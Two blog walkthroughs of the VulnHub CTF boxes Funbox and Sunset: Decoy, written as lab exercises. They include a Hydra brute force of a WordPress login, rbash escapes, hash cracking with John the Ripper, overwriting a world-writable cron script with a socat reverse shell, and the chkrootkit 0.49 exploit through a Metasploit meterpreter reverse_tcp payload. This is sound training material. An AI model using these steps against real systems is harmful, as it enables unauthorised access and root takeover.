Categories
CTF's Walkthroughs

Funbox – CTF Walkthrough

Keeping up a full time job, and learning cybersecurity is very draining.

Sometimes it’s nice to do an easy box when you’re a bit too busy, so I decided to give Funbox a go, from VulnHub.

NMAP Scan

The NMAP scan revealed 4 open ports.

nmap -p- 192.168.56.134

I tend to enumerate ports in order, so I first looked at FTP and checked to see whether anonymous access was enabled.

Enumerating FTP

ftp -nv 192.168.56.134
user anonymous
password (not provided)

Anonymous login was not enabled. I wasn’t going to spend more time investigating FTP for now.

Enumerating SSH

I often attempt to make a connection to SSH as sometimes there are clues in the MOTD message that is displayed before logging in. Not on this box however, I needed credentials before getting any further.

Enumerating the website

Having found nothing useful with FTP or SSH, I moved onto enumerating the website. I immediately identified the website to be running WordPress.

Having identified this was WordPress, I started two scans.

wpscan --url http://funbox.fritz.box/ -e vp,vt,u --api-token REDACTED

If you don’t have a wpscan API token, you can get one here. It’s free for a certain amount of scans per day.

The WordPress scan identified two valid users (joe, and admin). No plugins were found and the WordPress version appeared to be up-to-date. I therefore decided to load Hydra to perform a brute force attack against WordPress.

I created a file called users.txt containing both usernames, and ran this command:

hydra -l users.txt -P /usr/share/wordlists/rockyou.txt -u 192.168.56.134 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Rather quickly, the password for Joe was identified (12345).

I logged into WordPress with my newly found credentials, but appeared to only have user access. Given there were no plugins installed, and WordPress was up-to-date, I was confident I couldn’t take this any further.

Using my new credentials

I tried to login to SSH with my new credentials.

ssh joe@192.168.56.134

Before I knew it, I had access to SSH. I noticed a file called mbox in the home directory of Joe (this is a file containing e-mails).

The e-mail indicated a backup script had been setup for ‘funny’, perhaps another user on the system?

I tried to visit the home folder for this user, but realised I was in a restricted rbash shell.

rbash is a restricted bash shell to lock down user access. There are a number of ways to escape rbash though. There’s a few cheat sheets online, but I used this one.

I tried a few of the methods for escaping my rbash shell, and eventually found a way to get full bash access:

awk 'BEGIN {system("/bin/bash")}'

I ran this on the system, and had a normal bash shell.

I had a look around the home directory of funny, and found the script in question.

I opened the .backup.sh file and saw that it was running a tar command. The backup script also had world-writable permissions which is a seriously bad idea.

I suspected this file was being run on a cronjob, and confirmed this using pspy.

Knowing this file was being run every minute, I could use this to gain the same permissions as the user running the script.

Firstly though, I downloaded a tool called socat on the box.

wget -o /tmp/socat http://192.168.56.1/socat
chmod +x /tmp/socat

I then modified the contents of .backup.sh to execute socat.

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.56.134:4444

On my local machine, I opened up a listener.

nc -nvlp 4444

I waited a minute for the script to be executed – my socat command was executed, and a session opened up in my listener as the root user.

I was expecting the shell to spawn as another user, but this was a nice easy finish to a nice easy box. Thanks to @0815R2d2.

Further Notes (an Edit)

A day after I wrote this walkthrough, I was contacted about how a root session was spawned instead of one by the user ‘funny’. I was shown a screenshot showing how the cronjob was being run by the user ‘funny’ so it should not have been possible to get a root shell.

I revisited my screen recording of me doing the CTF, which showed me getting root access straight away. How odd!

I booted the box again this morning. and analysed it in a bit more detail. Suddenly the answer became clear. I won’t disclose the actual findings on this blog, but I suggest you review pspy output very carefully over the course of a few minutes. You’ll work it out. Get in touch though if you find another way to get root from the ‘funny’ user – this box seems to have a few different paths.

Categories
CTF's Walkthroughs

Sunset: Decoy – CTF Walkthrough

This is another great box from the Sunset series on VulnHub. If you haven’t done any from the Sunset series, I seriously recommend them – they are definitely some of my favorites. A huge thank you to whitecr0wz for creating these CTF exercises.

Scan – NMAP

The NMAP scan returned there were two open ports on this machine.

nmap -p- 192.168.56.125

As we can see, SSH and HTTP are both open.

Enumerating the website

I loaded up Firefox and visited the website initially. The website was just a directory listing which displayed one file (save.zip).

I downloaded this file and attempted to unzip it within my Terminal.

unzip save.zip

This showed the zip file had a password on it. I attempted to guess the password which unsurprisingly showed it was incorrect. It does show you the names of the files contained within the zip file though; I could see it contained a passwd and shadow file, among other things.

Cracking password protected ZIP file

You can perform a dictionary attack against password protected zip files using John the Ripper. First, we need to extract the hashes into a separate file:

zip2john save.zip > zip.hashes

Once this is done, you can set John the Ripper to try and crack the file.

john zip.hashes

I left this run for a few seconds and it showed the password ‘manuel’.

I tried to unzip the file again, and supplied the password that John provided. This extracted the zip file without any problems and I was able to see all files contained within the zip file.

We know that in Linux, the passwd file contains a list of all users on the system, and the shadow file contains all of their respective hashed passwords.

The passwords in the shadow file are hashed, so on their own, they are not much use. Fortunately, John the Ripper can perform a dictionary attack on these hashes too.

Cracking a shadow file

Similar to the zip file, we first need to prepare a hash file for John.

unshadow passwd shadow > passwords.txt

Once done, we can start the John session.

john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt

As you can see, I’ve chosen to use the RockYou wordlist given it contains millions of common passwords.

I waited a few seconds and the password for one of the users was revealed as ‘server’.

Getting a shell/SSH

The NMAP scan identified SSH was running on port 22, so I tried to login with the username/password that John had cracked. I was able to log straight in, but I identified the user had a limited bash environment (rbash).

You may come across restricted bash environments. It is very unlikely you will be able to progress further without escaping from the restricted environment. There are a number of different techniques to escape restricted bash environments; fortunately there are a few cheat-sheets available online which show a number of different methods to try.

Escaping restricted bash environment

None of the escape methods I could find on readily available cheat sheets were working, so I had to identify my own method for escaping the rbash environment.

Due to the restricted bash environment, there were very few commands I could run. I could run the echo command, but I couldn’t pipe the output into a file. I also couldn’t run any commands containing slashes, which means I couldn’t directly call /bin/bash.

Within the home folder of the user I was logged in as was a binary called ‘honeypot-decoy’. I decided to copy the file to my local computer, and use the strings command to identify what the binary was doing (to a point, at least).

I could see that the binary was calling various other binaries (as per the screenshot). Interestingly, it was calling them explicitly (which inevitably meant slashes were being used). Although we cannot run any commands containing slashes, perhaps the same restriction doesn’t apply to binaries, or potentially simple bash scripts.

On my own machine, I created a file containing “/bin/bash” as the contents.

echo "/bin/bash" > test
chmod +x test

I used the chmod command to make sure the new file I created was able to be executed. I then used SCP to upload the file to the machine, passing the ‘p’ parameter to ensure the file permissions (including the execution privilege) were retained after upload.

scp -p test 296640a3b825115a47b68fc44501c828@192.168.56.125:.

The file was successfully uploaded. I executed the new file, and I had an unrestricted /bin/bash environment.

Privilege Escalation

The next objective is to escalate our privileges. We need to enumerate the server a bit more first, collecting as much information about our environment.

Located within the folder of the user I was logged in as was a folder called ‘SV-502’. Located within this folder was a logs folder, containing one log file (log.txt).

I ran the ‘cat’ command to review the contents of this file.

cat log.txt

From previous experience, I know this to be an output log from pspy. For those of you who do not know, pspy is a very useful tool. It identifies processes running on a linux server, and can identify scheduled jobs being run by other users. This information is often very useful in aiding our effort to escalating our privileges.

From the log file, we can see a previous command which has been executed: tar -xvzf chkrootkit-0.49.tar.gz. Chkrootkit is a bit of software that scans linux servers for rootkits/malicious software.

A quick check on exploit-db reveals that this bit of software (and specifically version 0.49) is vulnerable to a very serious privilege escalation vulnerability. In order to exploit this vulnerability though, the root user needs to be running chkrootkit scans. I therefore decided to load pspy onto the box and run my own pspy scan, identifying any scheduled activity.

This identified a script was being run every minute (/root/script.sh). I did not have read-access to the shell script though, so I was unable to see what it was doing. I therefore assumed it must be running a chkrootkit scan.

As per the advice on exploit-db, I created an executable file in the /tmp directory called update, containing exploit code from meterpreter to gain a shell.

sudo msfconsole
search web_delivery
use 1
set target 1
show payloads
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.56.1
run

The metasploit output a meterpreter payload command which I then put in a file called /tmp/update.

echo "Metasploit command goes here" > /tmp/update
chmod +x /tmp/update

I waited a minute for the shell script to be executed, and absolutely nothing happened. Hmmm!

I enumerated around the box some more, but decided to take a closer look at the ‘honeypot-decoy’ binary. When you run this, it gives you a few different options.

One of the options stood out to me (Launch an AV Scan). I decided to select this option and was presented with a message back to advise the virus scan would be scheduled within the next 5 minutes. Perhaps the root shell script that is run on a cronjob every minute requires the virus scan to be requested from this binary, before it calls chkrootkit.

I waited for another minute, and suddenly my meterpreter session opened, and I had root access.

To enter the meterpreter session, type the following commands:

sessions -i 1
shell

This was a very enjoyable box containing a few different vulnerabilities/techniques. I’m looking forward to the next one within the Sunset series!